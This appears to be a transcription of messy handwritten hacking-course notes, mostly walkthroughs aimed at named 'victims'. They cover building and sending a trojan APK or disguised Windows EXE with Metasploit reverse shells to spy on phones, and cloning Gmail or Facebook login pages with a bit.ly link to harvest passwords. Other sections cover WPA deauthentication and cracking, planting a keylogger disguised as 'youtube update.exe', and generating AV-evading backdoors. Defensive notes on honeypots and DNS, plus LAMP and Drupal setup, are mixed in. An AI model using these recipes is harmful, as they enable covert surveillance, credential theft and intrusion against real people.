Vulnerabilities :-

In computer security, we know that weak points in software are called vulnerabilities (if related to security). And once the vulnerability is found, theoretically it requires a piece of code as proof of concept this is called Exploit.

Exploit :- An exploit is a piece of code written to take advantage of a particular vulnerability.

or

This is a piece of code that, when executed, will exploit the vulnerability on the target.

Payload :- This is a piece of code that runs at the target after a successful exploitation is done. It defines the actions we want to perform on the target. Such as :- payloads are things like Trojans / RAT, Keyloggers reverse shells etc.

→ Whether or not a payload is staged, is represented by '/' in the payload name.

For example :- "Windows/Shell-bind-tcp" is a single Payload with no Stage.

→ Whereas "Windows/Shell/bind-tcp" Consists of a stager (bind-tcp) and a Stage (Shell)

- Singles :- Singles are Payloads that are self-contained and completely Standalone. A single payload can be something as sample as adding a user to the target system or running calc.exe.

↳ These kinds of payloads are self contained, so they can be caught with non-metasploit handlers such as netcat.

Stagers :- Stagers setup a network connection between the attackers and victim and are designed to be small and reliable. it is difficult to always do both of these well so the result is multiple.

Similar stagers.

Metasploit will use the best one when it can and fall back to a less-preferred one when necessary.

↳ Stages :- Stages are payload components that are downloaded by stagers modules. The various payload stages provide advanced features with no size limits such as Meterpreter, VNC injection, and the iPhone 'iPwn' Shell.

Penetration testing :- Penetration testing is an intentional (knowingly) attack on a computer-based system with the intention of finding vulnerabilities, figuring out security weakness, certifying that a system is secure, and gaining access to the system by exploiting these vulnerabilities.

Hence, a Penetration test focuses on improving the security of an organization.

=> While talking about the best tools for penetration testing, the first one that comes to mind is 'Metasploit'.

Foot printing :- This involves active or passive scans to identify various technologies used at the target, which includes port scanning, banner grabbing, and so on.

Identifying protection mechanisms:-

This involves identifying firewalls, filtering system, network and host-based protections, and so on.

Convert gathering

Target selection:- This involves on-location gathering, the equipment in use, and dumpster diving. In addition, it covers off-site gathering that involves data warehouse identification; this phase is generally considered during a white box penetration test.

Target Selection:- This involves selecting the targets to attack, identifying the goals of the attack and the time of attack.

Metasploit

Metasploit is a security project that provides exploits and tons of reconnaissance features to aid the penetration tester.

↳ Metasploit was created by H.D. Moore back in 2003, and since then it rapid ~~enviro~~ development has lead it to be recognized as one of the most popular penetration testing tools.

Metasploit comes in various different editions

(i) Metasploit Pro
ii) Metasploit Express
iii) Metasploit Community
iv) Metasploit Framework.

Metasploit framework is a command line edition with all the manual tasks, such as manual exploitation, third party import, and so on. This edition is suitable for developers and security researchers.

Armitage

Armitage is GUI (Graphical user interface) version of metasploit.

↳ Armitage by Raphael Mudge added a cool hacker-style GUI interface to metasploit. Armitage offers easy vulnerability management, built in Nmap scans, Exploit recommendations, and the ability to automate features using the Cortana scripting language.

Auxiliary :- These are modules that provide additional functionalities such as scanning, fuzzing, sniffing, and much more.

Encoder :- Encoder are used to obfuscate module to avoid detection by a protection mechanism such as an antivirus or a firewall.

Meterpreter :- Meterpreter is a payload that uses in memory DLL injection stagers. It provides a variety of functions to perform at the target, which makes it a popular payload choice.

Linux

↳ Linux an open-source operating system modelled on UNIX.

↳ Linux is based on the Kernal operating system and Android is a mobile operating system developed by google, based on modified version of Linux Kernel.

↳ Kernal is the most important Part of the software collection called OS. It is the program that does all the heavy lifting in an operating system.

↳ It handles the hardware, timing, peripherals, memory, disks, user access and everything that you do on a computer.

IOS based on Unix.

Technically, linux is only the Kernel not the entire OS.

Diff b/w OS or Kernel

→ The operating system is the software package that communicates directly to the Hardware and our application.

The Kernel is the lowest the main Part of the 'OS' and is responsible for translating the command into something that can be understood by the computer.

Linux is a unix clone.

Some useful CMD for linux.

(i) ls :- This command is called list CMD. It is use to show the list.

Such as :- ls / applications.

ii) cd :- It is use for change the directory.

Such as :- cd / Desktop

ii) mv :- use for move file ~~one~~ place to another.

Such as :-

mv / arora / application / apps

iii) apt-get :- It is a tool to use automatically update and install the programm.

iv) Clear :- It is use for clear the perivious Data or Process.

v) rm :- use for remove something.

Such as :- rm testfile.txt.

vi) rmdir :- It is use for remove the Directory.

vii) mkdir :- Create the directory

ix) CP :- use for copy

x) Xeyes :-

xi) apt-get install cmatrix
↳ cmatrix. :- use for Print Matrix.

xii) ASCII View any pic :- apt-get install aview
↳ ascii view <img. format>
- driver curses.

xiii) msfconsole :- open metasploit in a terminal.

xiv) msfvenom -h :-

xv) PWd :- visit path of current Directory.

Basic Commands of Metasploit :-

(i) use [Auxiliary/Exploit/Payload/Encoder] :- It is use to select a particular module to start working with ....
Such as :-

(1) msf > use multi/handler
(2) msf > use exploit/unix/ftp/vsftpd-234- backdoor
(3) msf > use auxiliary/scanner/portscan/ftp

ii) Show [Options/Payload/Exploit/Encoder] :- To see the list of available modules of a particular type

Such as :- (a) msf > show Payloads
(b) msf > show options.

iii) set [Options/Payload] :- To set a value to a particular object

Such as :- (a) msf > set Payload android/meterpreter/reverse-tcp
(b) msf > set lhost 192.xxx.x.xx.
(c) msf > set lport 4444.

iv) setg [Options/Payload] :- To set a value to a particular object globally so the values do not change when a module is switched on.

such as :- setg RHOST 192.168.10.112

v) run :- To launch an auxiliary module after all the required options are set.

vi) Exploit :- To lunch an exploit.

vii) back :- To unselect a module & move back.

viii) info :- To list the info. relate to a particular exploit/module/auxiliary.

ix) search :- To find a particular module.

x) Check :- To check whether a particular target is vulnerable to the exploit or not.

xi) sessions :- To list the available sessions.

Following are the meterpreter command.

i) sysinfo
ii) ifconfig
iii) arp
iv) background
v) shell
vi) getuid
vii) getsystem
viii) getsystem
ix) getpid
x) ps
xi) screenshot
xii) webcam-snap
xiii) keyscan-start/stop/dump
xiv) dump-sms.

Attacking on Android using Metasploit

↳ In this process we create a apk file in which we inject a Payload follows the following steps :-

(i) open terminal write following Commanders as follows :-

msfvenom -P android/meterpreter/reverse-tcp
lhost = 192.168.1.100 lport = 4444
R > Trojan.apk.

ii) Now send this apk file to victim Phone & installed it.

iii) msfconsole // Now metasploit is opening.

iv) msf > (i) use multi/handler
(ii) set Payload android/meterpreter /reverse_tcp

iii) set lhost 192.168.1.100

iv) set lport 4444

v) exploit

Now we get meterpreter access of these or victim phone Now you can do any of victim phones such as :-

(i) sysinfo
ii) check-root
iii) webcam-snap
iv) webcam-list
v) dump-contacts/calllog/sms
vi) geolocate
vii) send-sms -d 70xxxx36 -t "mess"
↗ ↗ ↑
distination no. message

viii) screenshot
ix) keyscan-start/stop/dump

x) help

xi) ~~Mac~~ machine-id
xii) UUid
xiii) ipconfig
xiv) arp // for IP or MAC address.
xv) record-mic
xvi) idletime
xvii) getuid

Attacking on windows using Metasploit

↳ It is similar to android attack.

(i) msfvenom -P ~~android~~ windows/meterpreter/reverse-tcp
-f exe -a x86 R>Calc.exe

Another method of windows attack using metasploit.

↳ use windows/meterpreter/reverse-tcp
↳ set lhost <Public IP>
↳ set Port <Port No.> //Now Port forward
↳ generate -t exe -f m.exe

— x —

↳ use exploit/multi/handler
↳ set Payload windows/meterpreter/reverse-tcp

↳ set lhost <local IP>
↳ set lport <4444>
↳ exploit.

↳ Now we get meterpreter access.

Use of Social engineering ~~attack~~ tool kit for website cloning.

↳ follows following steps:-

(1) open SETK (Social engineer tool kit)
or write in terminal setoolkit
Select 1. Social engineering attacks.
then select 2. website attack vectors
then select 3. Credential Harvester attack method.

then select
2. site cloner.

Now write your I.P. address.
then;
Now enter URL to clone or URL of website which you want to clone (like. gmail, fb, etc).

after cloning send your IP address to the victim and ask to open ~~your~~ IP in victim Browser.

↳ But this process is temprary.

↳ All the process of starting will be same as above. but after puting or ~~ati~~ after writing your I.P.

↳ next write url which you want to clone.

↳ then you get 3 ~~folder~~ files in your www → folder → var → folder.
like this type of 3 files (Harvester, index.html, Post.ph) cut this all files and move to HTML folder.

↳ Now you do by using or creating the URL using www.bitly.com like site.

↳ Your Id & Password or any thing saved in harvester.~~text~~.

Attacking on wifi or crack the password using Airmon-ng.

Sol open terminal & write airmon-ng check kill

↳ airodump-ng wlan0 {Now wifi serching----

↳ Press ctrl+c (for stop searching)

↳ Now write

airodump-ng -c 6 -b BSSID -w m4 wlan0

channel no

Password file Name

Note: {where -c is channel CH
-b BSSID like 44:6D:6C:37:7E:85
-w is use for which you saved file like m4.txt.}

↳ open new terminal & write CMD

aireplay-ng -0 5 -a BSSID -c station wlan0

Note {where
-a is use for write victic mac address or BSSID
-c is use for handshake or disconnect a network who person connect with victim wifi.}

Now handshake is possible so Press Ctrl + c.

↳ write:- aircrack-ng -a2 -w write your Password list address.txt. & Now You get wifi-key or Password.

[Keylogger] using beeloger tool.

↳ 1st of all download bee-loger from git-hub website.

↳ Now open Beeloger directory
↳ cd Beelogger
↳ ls
↳ ./install.sh // → here we installed it.

↳ Choise window version. & ok.
↳ & Now you showing Phyton window do next next & finsh it.

↳ after that clear it in terminal.

↳ ls → Python bee.Py → select [K] for keylogger.

↳ Chose any type of keylogger.

↳ type your gmail & Password & Exit.

↳ Now type cd Desktop/Beelogger/
↳ cd dist.
↳ service apache2 start.
↳ mv Bee-Hash-.exe /var/www/html/youtube update.exe

↳ open your Brower write your IP ~~for~~ ~~door~~ with file name (IP/filename) & download it.

—x—

Create word or Password list for Distinory attack.

(1) cd Desktop
(2) git clone [Paste git url] → https://github.com/mebus/cupp.git

~~In this~~ Here we use cupp tool for create Password list.

(3) cd cupp/ → ls → ./cupp.py
(4) ./cupp.py -i
{Now fill full info. of your victims.
(5) ./cupp.py -w // use for Path of word list
(6) ./cupp.py -l // use for download word file from internet.

Remotely access any android Phones.

(i) open metasplait

↳ use android/meterpreter/reverse_tcp
↳ set lhost <public IP>
↳ set lport 4444
↳ generate -t raw -f m.apk
↳ Now send to the victims Phones.
↳ use exploit/multi/handler.

—x—

Beef:-

↳ cd /usr/share/beef-xss
↳ ./beef
↳ copy url or Hook urd and paste in Html doc. file in Var/www/index.html

9/07/18

RED HAWK

website Information gathering, Vulnerability Scanning etc.

1st of all download and install Red Hawk using Git hub link.

git-clone https://github.com/Tuhinshubhra/RED-HAWK.

↳ ~~cd RE~~ after downloading.

↳ cd RED HAWK
↳ ls ↳ (rhawk.PHP)
↳ ~~rsh~~
↳ for run script. PhP rhawk.PhP

↳ type your website domain name.

↳ Select HTTPS or HTTP

↳ then Scan it.
↳
for admin Pannel ↳

↳ Select Crawler

HoneyPot :-

⇒ A Honeypot is a computer system that is set up to act as decoy to lure cyberattackers, and to detect, deflect or study attempts to gain unauthorized access to information system.

⇒ Generally, a honeypot consists of data (for example, in a network site) that appears to be a legitimate part of the site, but is actually isolated and monitored, and that seems to contains information or resource of values to attackers, who are then blocked

This is similar to the police baiting a criminal, conducting undercover surveillance, and finally punishing the criminal.

A honeypot is a security recourse who's value lies in being probed, attacked or compromised

✓ Honeypot are weapons against spammers, honeypot detection systems are spammer employed counter weapons.

as detection systems would likely use unique characteristics of specific honeypots to identify them.

Honeypots can be setup inside outside or in the DMZ of a firewall design or even in all of the locations although they are most often deployed inside of a firewall for control purposes.

In a sense, they are various of standard intruder detection system (IDS) but with more of a focus on information gathering and deception

Based on design criteria Honeypots can be classified as:-

1) Pure Honeypots
2) High - interaction honeypots
3) low

Download Honeypots

-> https://github.com/whitehatpanda/pentbox-1.8
-> CD Desktop
-> git clone [URL] ->
-> CD Pentbox-1.8/
-> ls
-> ./Pentbox.rb // execute ruby file.
-> select 2 - Network tools for honeypots
-> type 3 - Select Honeypots.
-> Select 1 for auto configuration.
-> then type your local IP.

or

-> type 2 for manually configuration
-> Type Port no. like 80, 23, etc.
-> Type Your message after activation
-> Type your local IP in your victim PC.

—x—

(Kismet tool)

Reveal Hidden SSID

↳ Type in terminal iwconfig.

↳ airmon-ng start wlan0.

↳ kismet -c wlan0mon

now kismet tool is run.

—x—

Kismet: Wardriving is the act of searching for wi-fi wireless networks by a person usually in a moving vehicle, using a laptop or smartphone. Software for wardriving is freely available on the internet. Warbiking or warcycling is similar to as wardriving, but it is done by bicycle or motorcycle. Warwalking or warjogging also a part of wardriving. Warrailing ~~(by Train)~~ or warraining & wardronning.

How to create static HOST for Dynamic IP.

⇒ Step 1st :- open webbrowser and type URL [noip.com] ⇐ Singup here

This website convert your Dynamic IP into HOST ID.

~~Fox~~ before used download Here Software

→ open or terminal type Ipconfig. then before using his local IP 1st of all fixed or IP by port-forwarding.

then,

↳ Service apache2 Start

↳ Now serch by Domain name in another server.

Create own web-hosting server.
Host your website on your computer.

→ Hosting are two types :-

a) Linux Hosting → (It is better with security)
b) window Hosting → (It is also known as LAMP (Linux, Apache, My Sql. & PHP).

—x—

⇒ 1st of all download Drupal CMS application from [https://www.drupal.org/project/drupal]

↳ download tar. file.

↳ open terminal window and extract file [tar -zxvf (file name)]

↳ Start all services.
↳ service apache2 start
↳ service postgresql start
↳ service mysql start

↳ [If Packag or file is missing so install by typing apt-get install Php]

↳ Now open any text editor & create a simple PHP file like that.

Type :-

```
<? PhP
  Php info();
?>
```

Save this file in web folder which is avilable in Var → WWW → html by info.Php.

for ~~check~~ visit your info.Php search in browser localhost/info.Php or type 127.0.01/info.Php.

→ we extract a drupal file open this folder and cut all the file & Paste where info.Php file is Save [Var → WWW → html]

↳ Now search :- 127.0.01/Install.Php.

If any error found then remove this error.

↳ 1st of all update your OS.
[apt-get update --fix-missing.

↳ 2nd step :- apt-get install Php7.0-gd

↳ 3rd step → restart your services.

Service apache2 restart
or
Service apache2 stop
start.

Remove file system error.

:- Type in a terminal

apt-get install Php7.0-mbstring

→ Due to permission deny so allow the permission.
by typing.

→ cd var/www/html/
→ chmod a+w sites/default
→ ls
→ cp default.settings.Php settings.Php
→ chmod a+w setting.Php.

→ Now again restart or space serv

—x—

→ Clear:
→ Now configer our Database name, my sql etc.

→ Type the cmd :- mysql -u root -p
→ Enter Password :-
→ Now my sql is open.
→ Show databases;

→ use mysql;
→ update user set Password = PASSWORD ('qwerty1234') where User = 'root';

→ create database techchip;
→ DB name.
→ Ctrl-c -- exit {for exitt from my sql}

→ Now restart your services.

→ Now goes into the webbrower & type your Database name, username, Password.

→ fill all the info.
→ Now your website launch.

→ At last deny all the Permission.
→ cd --
→ chmod go -w sites/default
→ chmod go -w sites/default/setting.Php

—x—

FAT-RAT - Tool

⇒ This is An easy tool to generate backdoor and easy tool to post exploitation attack like browser attack, dll. This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac.

The malware that created with this tool also have an ability to bypass most AV software protection.

→ 1st of all download git clone of FAT-RAT Tool url [https://github.com/Screet Sec/TheFatRat]

→ cd TheFatRAT
↳ ls
↳ chmod +x setup.sh
↳ ./setup.sh

IDN Homograph Attack

⇒ The Internationalized Domain name (IDN) homograph attack is a way a melicious party may deceive computer users about what remote system they are communicating with, by exploiting the fact that many different characters look alike.

↳ This kind of spoofing attack is also known as script spoofing. Unicode incorporates numerous writing systems, and for a number of reasons, similar-looking characters such as Greek O, Latin O, & Cyrilic O were not assigned the same code.

↳ The registration of homographic domain names is akin to typo-squatting, in that both forms of attack use a similar looking name to a more established domain to fool a user.

The major difference is that in typosquatting the perpetrator relies on natural human typos, while in homograph

Spoofing the perpetrator intentionally deceives the web surfer with visually indistinguishable names.

✓ Indeed, it would be a rare accident for a web user to type, e.g., a Cyrillic letter within an otherwise English word such as "citibank". There are cases in which a registration can be both typosquatting and homograph spoofing, the pairs of I/l, l/1, and O/0 are all both close together on keyboards and bear a certain amount of resemblance to each other.

⇒ using this method we buy a any domain of your website which is already register.

use :- Homograph attack generator site.
like!- www.irongeek.com/homoglyph-attack-generator.php

CMSeeK

CMS Detection & Exploitation Tool

⇒ CMS (content management system) manages the creation and modification of digital content. It typically supports multiple users in a collaborative environment. Some noteable example are: wordpress, Joomla, Drupal etc.

⇒ cd Desktop/
→ git clone https://github.com/Tuhinshubra/CMSeek.git
↳ after downloading
↳ cd CMSeek/
↳ ls
↳ Python3 cmseek.py
↳ select 1:-
↳ URL:- https://techchip.net
↳ Enter
↳ Now all the web site will be scan.

Y99CN

DNS
(Domain Name System)

- A Domain name System server translates a human-readable domain name (such as example.com) into a numerical IP address that is used to route communications b/w nodes.

- Normally if the server doesn't know a requested translation it will ask another server, and the process continues recursively. To increase performance, a server will typically remember (cache) these translations for a certain amount of time.

- This means if it receives another request for the same translation it can reply without needing to ask any other servers, until that cache expires.

- DNS spoofing, also referred to as DNS cache poisoning, is a form of computer hacking in which corrupt Domain Name System data is introduced into the DNS resolver's cache, causing the name server to return an incorrect IP address. This results in traffic being diverted to the attacker's computer (or any other computer).

- The first variant of DNS cache poisoning involves redirecting the name server of the attackers domain to the name server of the target domain, then assigning that name server an IP address specified by the attacker.

- The 2nd variant of DNS cache poisoning involves redirecting the name server of another domain unrelated to the original request to an IP address specified by the attackers.

How to compile & run C Program in linux.

Step 1:- Check gcc. install or not
↳ gcc --version
↳ create file Hello.c
Such as:- touch hello.c

for compile :-
↳ gcc hello.c -o test

o/p
o/p file name
may be same.

for run:- ./test
↳ compile file.

How to install Chrome in linux.

↳ After Download

→ dpkg -i google-chrome.deb
↳ file name.

Date / /
Page No.

- Rainbow tables
- Brute - Force or Dictionary attacks
- MD5 → #
- Phishing → is example of web Jacking
  It is used in (SETK).
- Umesh thakur 7097
- ~~ca~~
- Honeypot
- Wordpress website ~~that~~ scaning
  (wpscan) Sid talk

(weepsplait framework) using for MITM
CoWPtty tool use for crack # Passwd
SPARTA

(Total worker register
Total student register

2 | 20, 30, 1
, 10